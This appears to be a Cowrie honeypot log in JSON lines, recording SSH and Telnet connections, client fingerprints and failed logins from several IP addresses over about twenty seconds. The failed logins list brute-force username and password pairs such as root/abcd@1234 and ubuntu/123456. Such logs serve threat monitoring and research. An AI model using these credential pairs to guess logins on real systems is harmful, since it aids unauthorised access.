{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:47.906209Z","src_ip":"176.65.132.129","session":"906c72dde1d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:48.153237Z","src_ip":"176.65.132.129","session":"906c72dde1d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:49.238781Z","src_ip":"176.65.132.129","session":"906c72dde1d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":55758,"dst_ip":"10.17.0.5","dst_port":22,"session":"af86213be3f7","protocol":"ssh","message":"New connection: 46.253.45.10:55758 (10.17.0.5:22) [session: af86213be3f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:50.205827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:50.210175Z","src_ip":"46.253.45.10","session":"af86213be3f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:50.322226Z","src_ip":"46.253.45.10","session":"af86213be3f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"demo","message":"login attempt [user/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:50.802735Z","src_ip":"46.253.45.10","session":"af86213be3f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52798,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a1cd80b0f7b","protocol":"ssh","message":"New connection: 176.65.132.129:52798 (10.17.0.5:22) [session: 7a1cd80b0f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:51.351530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:51.357094Z","src_ip":"176.65.132.129","session":"7a1cd80b0f7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:51.434405Z","src_ip":"176.65.132.129","session":"7a1cd80b0f7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"123456","message":"login attempt [nginx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:51.750110Z","src_ip":"176.65.132.129","session":"7a1cd80b0f7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:51.917306Z","src_ip":"46.253.45.10","session":"af86213be3f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52644,"dst_ip":"159.203.135.109","dst_port":23,"session":"3139751bb153","protocol":"telnet","message":"New connection: 38.60.198.128:52644 (159.203.135.109:23) [session: 3139751bb153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:52.327331Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:52.832659Z","src_ip":"176.65.132.129","session":"7a1cd80b0f7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.78999900817871,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:53.770439Z","src_ip":"38.60.198.128","session":"e310250a9e32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52804,"dst_ip":"10.17.0.5","dst_port":22,"session":"7219d865c568","protocol":"ssh","message":"New connection: 176.65.132.129:52804 (10.17.0.5:22) [session: 7219d865c568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:54.782853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:54.787747Z","src_ip":"176.65.132.129","session":"7219d865c568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:54.873872Z","src_ip":"176.65.132.129","session":"7219d865c568","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:55.122314Z","src_ip":"176.65.132.129","session":"7219d865c568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56466,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cf08af8bbbb","protocol":"telnet","message":"New connection: 38.60.198.128:56466 (159.203.135.109:23) [session: 0cf08af8bbbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:55.417180Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57196,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5e3cb26d533","protocol":"telnet","message":"New connection: 38.60.198.128:57196 (159.203.135.109:23) [session: a5e3cb26d533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:56.062631Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:56.208302Z","src_ip":"176.65.132.129","session":"7219d865c568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58420,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3e109db9e0c","protocol":"telnet","message":"New connection: 38.60.198.128:58420 (159.203.135.109:23) [session: d3e109db9e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:56.870719Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49932,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab26d75462b8","protocol":"ssh","message":"New connection: 176.65.132.129:49932 (10.17.0.5:22) [session: ab26d75462b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:58.166893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:58.171928Z","src_ip":"176.65.132.129","session":"ab26d75462b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:58.281523Z","src_ip":"176.65.132.129","session":"ab26d75462b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:58.727602Z","src_ip":"176.65.132.129","session":"ab26d75462b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:59.815256Z","src_ip":"176.65.132.129","session":"ab26d75462b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49960,"dst_ip":"10.17.0.5","dst_port":22,"session":"a35c51034359","protocol":"ssh","message":"New connection: 176.65.132.129:49960 (10.17.0.5:22) [session: a35c51034359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:01.591749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:01.597083Z","src_ip":"176.65.132.129","session":"a35c51034359","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:01.679237Z","src_ip":"176.65.132.129","session":"a35c51034359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.153339862823486,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:01.900524Z","src_ip":"38.60.198.128","session":"946e6cb2068c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:01.931007Z","src_ip":"176.65.132.129","session":"a35c51034359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37044,"dst_ip":"159.203.135.109","dst_port":23,"session":"656c73bf8122","protocol":"telnet","message":"New connection: 38.60.198.128:37044 (159.203.135.109:23) [session: 656c73bf8122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:02.909725Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":41500,"dst_ip":"10.17.0.5","dst_port":22,"session":"dafe1a95bc95","protocol":"ssh","message":"New connection: 199.195.254.215:41500 (10.17.0.5:22) [session: dafe1a95bc95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:03.005234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:03.014055Z","src_ip":"199.195.254.215","session":"dafe1a95bc95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:03.108265Z","src_ip":"176.65.132.129","session":"a35c51034359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.265708923339844,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:03.475276Z","src_ip":"38.60.198.128","session":"46abdf5db367","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:03.601963Z","src_ip":"199.195.254.215","session":"dafe1a95bc95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0014443397522,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:04.478581Z","src_ip":"38.60.198.128","session":"47a40b2ea1d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50006,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb8a0dac57ed","protocol":"ssh","message":"New connection: 176.65.132.129:50006 (10.17.0.5:22) [session: eb8a0dac57ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:04.923663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:04.929450Z","src_ip":"176.65.132.129","session":"eb8a0dac57ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:05.012529Z","src_ip":"176.65.132.129","session":"eb8a0dac57ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"palworld","password":"palworld","message":"login attempt [palworld/palworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:05.436836Z","src_ip":"176.65.132.129","session":"eb8a0dac57ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"login","message":"login attempt [user/login] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:06.107045Z","src_ip":"199.195.254.215","session":"dafe1a95bc95","protocol":"ssh"}
